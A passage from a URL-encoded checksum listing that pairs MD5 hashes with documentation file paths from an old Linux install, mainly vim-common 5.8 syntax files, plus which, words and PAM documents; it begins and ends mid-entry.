1bbdeb1211fb7babc95b51f658%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fjproperties.vim%0Ab2e64129961bf3bd8330a031f86fbf4d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fjsp.vim%0A34c1892db07c7d344a33800e9ef3d28b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fkix.vim%0A9a6cd8c600d5f25f96ed3128b7bf4b06%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fkscript.vim%0Af31122ebae839b94184d5e4c8b5eea08%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fkwt.vim%0Aeb12bf79f2889be4dbc67b991c549a54%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flace.vim%0A0c4424d49f7c78b4bd7540db5db29e6f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flatte.vim%0A379a74f3e294d45de884cd2395860e74%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flex.vim%0A20773f10a4c34b34893fb830b8892284%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flhaskell.vim%0A36fabf555a14b36b088a983a8aecfe43%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flilo.vim%0A193b5cceb09276fc0ceb47aaf9b18c9f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flilo.vim.lilo%0Ab07598676b874e9adaa8d24ba54d9c9d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flisp.vim%0A78d7d2a1310a259bfeb24b3659eb5c36%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flite.vim%0Ac9f697f6c57b337d70510ae8d7b66920%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flotos.vim%0A30594fb30da66272ca6aa12fdce4654f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flout.vim%0A685b07cbccdfc577f14ff96a8f547e12%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flprolog.vim%0A329a2a7d4acf9ef5a78d7731a2b53c1e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flss.vim%0A425aeef21f604359f71d4d4e0163e4de%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Flua.vim%0Ad5b800a8918ede14cd20a633820eeb3b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fm4.vim%0A01222d7ea7a0743ce3b52878f5c84142%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmail.vim%0A14afc1a20aa8e4b04df35f4c4e38ca08%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmake.vim%0Adbabb4212bc318a8660950f3977fe0fd%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fman.vim%0A03941aee4854e31f7ea5d8040451f49f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmanual.vim%0A127d84c28d0e27ba66a1171b9ec68c8f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmaple.vim%0A5322f008613a927a98b48b4c73c9fcaa%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmasm.vim%0Af7f8ffd18812d558c2e64e878914332e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmason.vim%0Ae2cf470668e1b9691658cb708df4471a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmaster.vim%0A172ba2a6ea5ccb95f7bbec49bfff83a7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmatlab.vim%0A02eb8f9c1e7090871c6c4ce5db285a31%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmel.vim%0A4df18bc84065a2ea6a2a0ba99da0c1dc%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmf.vim%0A67f8b2ab280ffa8ab102d5829296ae0f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmgp.vim%0Af7271baef950fee1085a14719bd6764f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmib.vim%0A23ad71153c26ec54b8d4428f6e472ebe%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmma.vim%0A8b39f6d526548b2f95ea13884c261c73%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmodel.vim%0A4b7f75d6422fdbc22a385e901d70f3b2%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmodsim3.vim%0A2155d9c980e8b680d71648ff36550d1f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmodula2.vim%0A9885cdccf3f6c56b429c7bb85a8c2f90%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmodula3.vim%0A6556fc94535022a82293ccad8e33d958%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmp.vim%0Ab59808c0ffe85ceede71926e261e13a4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmsql.vim%0A1b6c9fe416bcc8afdadb2c76500861c7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fmuttrc.vim%0A24c22b04cb4e74023d2c39e101145ebe%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fnamed.vim%0Ac1600f89a2f0c1baefa60ac810d14a09%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fnasm.vim%0Ac84550b6a56bba07fd6d4e20b81c141e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fnastran.vim%0A6a89f8eaf7419ac3015695d65ce317ee%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fncf.vim%0A1b9f6dad4b23beecda67197f8b464a33%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fnosyntax.vim%0Ad9e40c1ade320524f6aefc8cd08ebc67%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fnqc.vim%0A184f6f230da532cc9418b09c75b8965c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fnroff.vim%0Aec51eb3d1b90c57d3252982c1670b524%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fobjc.vim%0A457fe0fb62fdd8e91160af9e7fb84cee%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Focaml.vim%0Aa8cbe7d43b3c6202db004861bc70e7bb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fomnimark.vim%0A06158128f7c9e725c55ad4a33f0455c1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fopenroad.vim%0A804755eb11bb2422c0c86360219d35c7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fopl.vim%0Ad3d06b8220f739577683c91aee849dd4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fora.vim%0A0fbbe90cade08a3f6ea4aeefbb74daeb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpapp.vim%0A914d0e0f623dab036bf808872408fca5%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpascal.vim%0A20e8a236c48e75f1a275fa5d355ce174%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpcap.vim%0A17ff391c4da6c5d88168c60b4ac72015%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpccts.vim%0A3fd81f24f79b6bb4d37037fe8e0d2051%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fperl.vim%0A6252bd377b736bf42b06aa7b6b2c52bb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpfmain.vim%0A604d67ade10745422713d5284c3097be%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fphp.vim%0A052e90c704d83e2e0051ca1fed43b62a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fphtml.vim%0Ae566c72d7a8e205d17aae78cfa3a9faa%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpic.vim%0A2105a4de3b971eca2de440af9adbb3c9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpike.vim%0A14721472e96c2e39c896ecf329c24015%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpine.vim%0A88202796bc950182694b70619958d46e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fplsql.vim%0A905dc0a304b8145dde327ea5247a84f8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpo.vim%0A07fc21cde21c23793ad8674af3612935%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpod.vim%0A5407f998144538a08ad041137c823ae8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpostscr.vim%0A2ea9c6183c16d34cbee5600388d79d00%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpov.vim%0A0803f2e24decf402c27746b7346f6369%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fppwiz.vim%0A4c3d1977d9c28ebfdc4ddaf12bb495d8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fprocmail.vim%0Af128a2bc52a1471785eebc287650c6ba%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fprogress.vim%0A47046618105534b16eec074a077f4c7e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fprolog.vim%0A0214b0d3ee5e0bdb3a9c9a963c2c67b4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpsf.vim%0A7ab1dd25d6e7087a94bc63c2514bd970%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fptcap.vim%0A6853ee28de270ce34766829363b9eced%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpurifylog.vim%0Ad17330234ab6d1bc85525fa376a2d737%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fpython.vim%0A0b342be3928f96324dd500a718de74af%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fr.vim%0A1250e9382aff814235fd76c4d707e944%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fradiance.vim%0Af2aa5129ba5043432a74764c7e29bd00%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Frc.vim%0A293eefadb6c84dda708e2b95593b7b96%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Frcslog.vim%0A265a988f350ca3fd46c8b3d49b71ba8d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Frebol.vim%0A4663b51442102c0ab654181d0437ff4b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fregistry.vim%0Acef2b37b6e0c0ec1d172fb173b00d593%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fremind.vim%0Abc32b9702bde17854fa2588cf2a75ee8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Frexx.vim%0A77b9f652605d3de6b09173fc0fe5dd45%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Frobots.vim%0A1222a9545685a683114fa6c3ac49e0b6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Frpcgen.vim%0Ae0b626843812a37d5169cfaa00bfc170%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Frtf.vim%0Adf72de432e337b677147680b3ab999b4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fruby.vim%0A7682367ce5e8baa1eb052ab2d5a0d9ed%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsamba.vim%0A0ad75af4abe0f3a0a0574931c8bde3b5%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsas.vim%0A4e5b4c5604a8303c4bded68d57ec72b1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsather.vim%0Ad12c45840ad91528de8cf5dfcd7f51ae%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fscheme.vim%0A8aad0ca70c97200a77732ed90c6c5281%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsdl.vim%0A71a0ab78f6423fc20e677cf6f07a4695%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsed.vim%0A656588a3b1f956253c49e28dbd90aa0d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsetl.vim%0A764d1773ab5a150fdedec75f3210de13%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsgml.vim%0Aa7d9083dd546ea136b96f1004e266e2c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsgmldecl.vim%0A5030e3918d2f008c11e92df47b8695de%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsgmllnx.vim%0A8189566583bdc0303ad010eb8522bc24%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsh.vim%0Ac8ddbd9ac759f23348ebd3e8c1790e06%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsicad.vim%0A9e00a9db85d4ca9a7ed9acb248a79efb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsimula.vim%0A2a99e415799423f158bd0c2242384ae7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsinda.vim%0A778ff1641ca8984ae584729045d93f00%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsindacmp.vim%0A57399d9cae279eee81a7fccebe7ea631%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsindaout.vim%0A5c6e378218d0e36166e79d770b067c3f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fskill.vim%0A833e3f39a4b97f08d1ef642a6aa689c7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsl.vim%0A8350fc30e85c24d39c6c33e4889e41dd%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fslang.vim%0A72c3e77454c4ca05319f0d984c1c8b85%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fslrnrc.vim%0A8f39b94bee8b70abf33e54e8d4a6e3e3%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fslrnsc.vim%0A9b9a6faed318b9f8c5fc639f47adac15%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsm.vim%0A322598397e73cb3e8eaab98e40865113%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsmil.vim%0A883b3cc46ae9c3fe841b2602d478ad9d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsmith.vim%0A835e1dc5731cfb1e8ffc304ab493e51e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsml.vim%0A3f3a9a2b237949d249421c1eb00d1570%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsnnsnet.vim%0Ad55257950170189349135e29ec68c1e1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsnnspat.vim%0A5a980a36850bad480de07f027a44cc3e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsnnsres.vim%0Ab58b18e7ef6bead55a59080aac0a84be%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsnobol4.vim%0Af47298ca058c9222f95a084481fd61f6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fspec.vim%0Ae9f553800254e6468f8a1c780470f34f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fspice.vim%0A8b43a190025f5e1dd0cc77d5f827730c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fspup.vim%0A31e232fba907ae11a1ac7104474aca9e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsql.vim%0A7d833512c6f0e7124acb04df3da60e99%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsqr.vim%0Af3fa4f28add17f59330bcd4c5f382192%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsquid.vim%0A63e4806added1dec286a361bf044006e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fst.vim%0A53bd5e7fe1180234d52ba7e602535a96%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fstp.vim%0Ad787d024f6e7ed8a5960370fe514fc94%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fstrace.vim%0A23d6abb2dce7d667bdb4f5ed18ed6494%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsynload.vim%0A1f6cb61bb91fbe8d471e7fe4a97c843a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fsyntax.vim%0Ad09af3daf9a4a31b3484b39e3b9d3e36%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftads.vim%0A14ec912200bf6575372c603d6654cd89%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftags.vim%0A7c40e7f548112c038e8eacb5afb96bdb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftak.vim%0Abe8e76b6a715fbd1aead3cc209853901%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftakcmp.vim%0A97d2f1b8d977298132c433473e2a7d56%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftakout.vim%0Ac1b85bb3cf68acfd1bddf910718d6ed9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftasm.vim%0Aa05c8e89f07a45ac38f1c23eab61b222%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftcl.vim%0A3b0811546fc7b41375f8550c42126da3%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftex.vim%0A2eb1349e8f753be5793c06df104c09d3%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftexinfo.vim%0Ae2cea30fa3ffebcd2d368cfd213d0eeb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftexmf.vim%0Ab9cc79a85919b55be881263344578cfb%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftf.vim%0Ae90590b9a82d5e8275191e33aa08804c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftli.vim%0Ae91f83dc7fc8dc2282514ed86abef2f6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftrasys.vim%0A64ba4410ea64531106485a42a64af855%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftsalt.vim%0Ac0eeb272ecb507097920ac7fd89299ba%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftsscl.vim%0A0be2b5693f4ca8b0d9556c5f4bc55fc7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftssgm.vim%0Aa51df74fe533a26b097628a814487ba8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Ftssop.vim%0A2e08f3c7a23cd9499481dfa5e7e371d9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fuc.vim%0A3c850dbd2fd3ac41f52afb48ce9f3869%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fuil.vim%0A187f6aef6b671976cdc6ab09ae09c767%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fvb.vim%0A6c4f4cbd5a8f9a2da7209f13c4c6983e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fverilog.vim%0Aae796e3acd4280cea74934d2e293c0a8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fvgrindefs.vim%0A88c0386eb6ecdebb52fa11f2c9a9be4a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fvhdl.vim%0Afa48202143392a9602dd84397bfa4f27%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fvim.vim%0A9dea993a75c45a008a6727e7869b50b2%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fviminfo.vim%0A6864347b8dce6f0b6d480a7919936650%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fvirata.vim%0Aa819f45b541e00a938e4456c4ee080cd%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fvrml.vim%0Accd4ef22dce21be5496762582faf2ce9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fvsejcl.vim%0A8b60ea104afa78dc1a90962e69fe7bf8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fwdiff.vim%0A9edc5328604f9bb5c61d51a4e44bc737%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fweb.vim%0A9897c1c825b426ee42c1432540be484d%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fwebmacro.vim%0Ad4fb228f0e7b287e5ca1f0db3a4b6c5c%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fwhitespace.vim%0Af1e821294f2e8f595775fb42903cf4a2%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fwinbatch.vim%0A69f756b4a5a51fe109df369df8013084%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fwml.vim%0A2d410b366340e2aeb391081b140875c1%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fwsh.vim%0A956d6c32ac7d4e2470532e606aa28b41%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fxdefaults.vim%0A1525ad9199ff3dee2be4cff451f03825%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fxkb.vim%0A9ebc37380a4f456955d6a7478fea52e8%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fxmath.vim%0Ae96878ed6675b90928a81ee22f4044df%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fxml.vim%0Aac6f401d794f86162829e08e33d10248%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fxpm.vim%0Aa0aa8859f58ae6aebb61ea65653d187b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fxpm2.vim%0Af793575c7a7875d01d0d4162f39b8f87%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fxs.vim%0A2dbefcc50148cf184713e632b585a5c9%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fxxd.vim%0Ad01bdc2b4b902344421473581426b478%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fyacc.vim%0Aa99891d283971159fe348b3db1b1c376%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fz8a.vim%0Ac493ce1f6c5d4c1a85e92e877049ab1a%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fsyntax%2Fzsh.vim%0Addabbae7a5f90a8cbf244ed1e05c27ba%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Ftermcap%0A486677bd179795e311a4b9ce0bd2512f%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fmakemenu.vim%0A9f537fa3d468aecf62cba3eb68eadff6%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fmenu.vim%0Af4bdf16a377997fdbe558e0e843b43e4%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fmswin.vim%0Aed530f36e9ecfaefe4cd3f3f94ba6279%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Foptwin.vim%0A839ab2eaa8e1e9660ac720aa38d5b306%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fscripts.vim%0A1e0229650624144629e635a3e8952271%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Ftutor%2FREADME.txt.info%0A654a17f2e16d6543da1b79bdb93e2b2e%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Ftutor%2FREADME.txt%0A6c513168ede4190cff6084f98c67688b%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Ftutor%2Ftutor.info%0Abae0a1949a81a704f97485f0bccebffd%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Ftutor%2Ftutor%0Ae13a27bedd89259a97b831f921b1b4a7%20%20%2Fusr%2Fshare%2Fdoc%2Fvim-common-5.8%2Fvimrc_example.vim%0A6349a2e008d60a1efe81ab680e962a09%20%20%2Fusr%2Fshare%2Fdoc%2Fwhich-2.12%2FEXAMPLES%0Adf5da405a6fdaad558ad37f7138b39b5%20%20%2Fusr%2Fshare%2Fdoc%2Fwhich-2.12%2FREADME%0A53d52aebddebf7884ffba09bf58fb784%20%20%2Fusr%2Fshare%2Fdoc%2Fwords-2%2FREADME.linux.words%0Aabfeb11be24e59ad82853132dd847717%20%20%2Fusr%2Fshare%2Fdoc%2Fwords-2%2FREADME2.linux.words%0A2695e38b5bc950d0d8a2795a560fc86e%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam_appl-1.html%0A4b2658461f48a13768eaa1c9f348c8d2%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-1.html%0A0bd174d974d2bcd220b89190b87fe2bb%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-10.html%0A2ac90f19fc08aa38288ce34a2416a8ef%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-11.html%0A02118c0a8d37fdcdce97598b9b3699f4%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml%2Fpam-12.html%0Aebfdcf5a46076fa48f32be29f7e856d8%20%20%2Fusr%2Fshare%2Fdoc%2Fpam-0.75%2Fhtml